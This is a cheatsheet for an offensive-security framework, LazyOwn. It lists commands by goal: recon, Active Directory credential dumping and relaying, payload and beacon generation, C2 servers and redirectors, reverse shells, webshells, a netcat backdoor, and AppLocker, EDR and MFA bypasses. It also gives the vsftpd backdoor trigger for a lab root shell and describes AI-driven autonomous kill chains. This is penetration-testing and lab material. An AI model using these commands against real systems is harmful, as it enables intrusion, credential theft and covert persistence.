LazyOwn Cheatsheet — Frequent Commands by Goal This is the second-level reference. Start with ESSENTIALS.md first. Use this when you need the next layer of detail. For the full 748-command catalog, see COMMANDS.md.
Goal
Command
Set target IP
assign rhost 10.10.11.5
Set attacker IP
assign lhost 10.10.14.3
Set domain
assign domain target.htb
Set credentials
assign start_user admin / assign start_pass Password123
Guided setup
wizard
Check readiness
wizard --check
Read current config
get (shows payload.json)
Target Discovery and Recon
Goal
Command
Confirm target alive + OS guess
ping
Full TCP port scan
lazynmap
Batch scan a range
batchnmap
Host discovery sweep
hosts_discover
ARP scan local net
arpscan
Parse scan into structured data
auto_populate
See what was discovered
facts_show
AI recommends next step
recommend_next
Goal
Command
Fingerprint web tech
ww
Directory brute-force
gobuster
Fast web fuzzer
ffuf
Web vuln scan
nikto
Directory search
dirsearch
Web crawler
gospider
Full web recon
finalrecon
SQL injection test
sqlmap
Command injection test
commix
Web fuzzing
wfuzz
Network / DNS Enumeration
Goal
Command
DNS records / zone transfer
dig
DNS brute-force
dnsenum
Subdomain discovery
get_all_domains
SMB / LDAP / Active Directory
Goal
Command
SMB/LDAP enumeration
enum4linux
Crackmapexec SMB
cme
LDAP full dump
ldapdomaindump
AS-REP roasting
getnpusers
RID cycling
nxcridbrute
Bloodhound collection
bloodhound
Dump credentials
secretsdump
Remote WinRM shell
evil
Remote execution
psexec
NTLM relay
ntlmrelayx
Poison LLMNR/NBT-NS
responder
Coercion
coerce_plus
Goal
Command
Search multi-source exploits
ss apache 2.4.49
Generate payload
venom
Start metasploit handler
msf
Generate + deliver beacon
lazymsfvenom
Linux C beacon (BOF)
blacksandbeacon
ExploitGym harness readiness
egym status
List ExploitGym tasks
egym list kernel --limit 5
Run exploit benchmark task
egym run cve-XXXX --model claude
Score ExploitGym result (ELO)
egym score cve-XXXX
Post-Exploitation / Privilege Escalation
Goal
Command
Linux PE auto-check
linpeas
Windows PE auto-check
winpeas
Find capabilities
getcap
Show captured creds
creds
Show captured hashes
hash
Fix permissions
fixperm
Goal
Command
SSH command execution
ssh_cmd
SCP file transfer
scp
Interactive SMB
smbclient
Dump secrets remotely
secretsdump
WinRM shell
evil
PSExec remote exec
psexec
Marketplace, YARA & Nuclei
Goal
Command
Browse YARA rules
yara_marketplace list
Search YARA rules
yara_marketplace search ransomware
Install YARA rule
yara_marketplace install ransomware_detection
YARA rule info
yara_marketplace info c2_framework_detection
Browse Nuclei templates
nuclei_marketplace list
Search Nuclei by CVE
nuclei_marketplace search --cve CVE-2024-xxxx
Search Nuclei by severity
nuclei_marketplace search --severity critical
Install Nuclei template
nuclei_marketplace install cve-2024-xxxx
Scan target with YARA
yara_scan /path/to/file
Run Nuclei against rhost
nuclei
Browse community addons
marketplace list
Install community addon
marketplace install <name>
Update all marketplace items
marketplace update
Autonomous & Threat-Informed
Goal
Command
Autonomous kill chain
auto_pwn
Threat-informed recon
hunt
Chain commands
chain
Auto attack loop
auto_loop
Generate playbook
playbook_generate
Run playbook
playbook_run
Goal
Command
Start C2 server
lazyc2
Open C2 dashboard
cc
Team collaboration URL
collab_join <handle>
Download beacon
download_c2
Generate revshell
createrevshell
Generate webshell
createwebshell
Backdoor via netcat
backdoor
Spawn disposable redirectors
infra redirector spawn --count 2
List redirector URLs
infra redirector list
Destroy redirectors
infra redirector kill --all
Bake redirectors into beacon (order: spawn, assign, build)
assign c2_fallback_urls <url1,url2> then c2 linux 2
Deploy local ephemeral C2
infra deploy --provider local
Deploy cloud C2 (DigitalOcean)
infra deploy --provider digitalocean --region nyc1
Destroy ephemeral infra
infra destroy --provider local
Infra status
infra status
Goal
Command
List range profiles
lab range status / lab list
Start mini-AD range
lab range start ad-mini
Prove range is exploitable (real root shell)
lab range verify ad-mini
Stop mini-AD range
lab range stop ad-mini
SSH into ws01
ssh -p 2222 -o HostKeyAlgorithms=+ssh-rsa -o StrictHostKeyChecking=no [email protected] (password msfadmin)
vsftpd backdoor to root shell
USER backdoor:) / PASS x on 127.0.0.1:2121, shell on 127.0.0.1:6200
List gym challenges
gym list
Deploy-implant challenge
gym start first_implant
Lateral-movement challenge
gym start lateral_ad
Exfiltration challenge
gym start vault_exfil
Submit challenge
gym submit --techniques implant_deploy,beacon_callback
Goal
Command
Campaign sitrep
campaign_sitrep
Session state snapshot
session_state
List captured credentials
credentials
TUI dashboard
dashboard
Generate report
report
Full multi-format report
gen_report generate <name>
Report with AI executive summary
gen_report generate <name> --with-ai --ai-backend groq
Red-team timeline
timeline
Goal
Command
AI recommends next step
recommend_next
Autonomous attack loop
auto_loop
Generate playbook
playbook_generate
Run playbook
playbook_run
Query knowledge base
parquet_query
Semantic search sessions
rag_query
Threat model
threat_model
LLM daily cost cap
llm_budget
Goal
Command
Encrypt file
encrypt <path> <key>
Decrypt file
decrypt <path> <key>
YARA scan
yara_scan <file>
YARA marketplace
yara_marketplace list
Nuclei scan
nuclei
Nuclei marketplace
nuclei_marketplace list
AppLocker bypass
applocker_bypass_csc
EDR detection
edr_detect
DPAPI harvest
dpapi_harvest
MFA bypass toolkit
mfa_bypass
Command Abstraction Reminder All commands above auto-inject values from payload.json. You never write:
nmap -sC -sV -p- 10.10.11.5
gobuster dir -u http://10.10.11.5 -w /usr/share/wordlists/dirbuster.txt
You write:
The framework reads rhost, wordlist, lhost, lport, domain, start_user, start_pass from payload.json and builds the full command with optimal flags automatically.
Progressive Documentation
Level
File
Lines
Use when
1
ESSENTIALS.md~120
You are new or need the golden path
2
CHEATSHEET.md~300
You know the basics, need the next layer
3
QUICKSTART.md~200
Setting up for the first time
4
COMMANDS.md~1600
You need the complete 748-command reference
5
skills/lazyown.md~1600
You are an AI operator using MCP tools
6
CLAUDE.md~540
You are developing or extending the framework